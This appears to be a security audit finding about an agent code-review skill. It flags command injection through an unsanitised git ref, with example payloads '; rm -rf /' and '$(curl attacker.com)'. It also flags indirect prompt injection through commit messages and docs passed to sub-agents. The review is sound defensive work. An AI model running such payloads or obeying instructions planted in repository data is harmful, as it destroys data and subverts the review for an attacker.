The Agent Skills Directory

[COMMAND_EXECUTION]: The skill takes a user-supplied <fixed-point> (e.g., a commit SHA, branch, or tag) and interpolates it directly into shell commands without sanitization.
Evidence: The instructions state to run git rev-parse <fixed-point>, git diff <fixed-point>...HEAD, and git log <fixed-point>..HEAD.
Risk: A malicious user could provide a string like ; rm -rf / or $(curl attacker.com) as the fixed point to execute arbitrary commands in the agent's execution environment.
[PROMPT_INJECTION]: The skill exhibits an Indirect Prompt Injection vulnerability surface by processing untrusted external data.
Ingestion points: The agent reads the output of git diff, git log (commit messages), and various documentation files (CLAUDE.md, specs/, etc.).
Boundary markers: The skill does not define strict delimiters or instructions to ignore embedded commands when passing this data to sub-agents.
Capability inventory: The skill uses parallel sub-agents with broad instructions to analyze this data.
Sanitization: No escaping or validation is performed on the ingested content. An attacker could embed instructions in a commit message or code comment to manipulate the review outcome.

review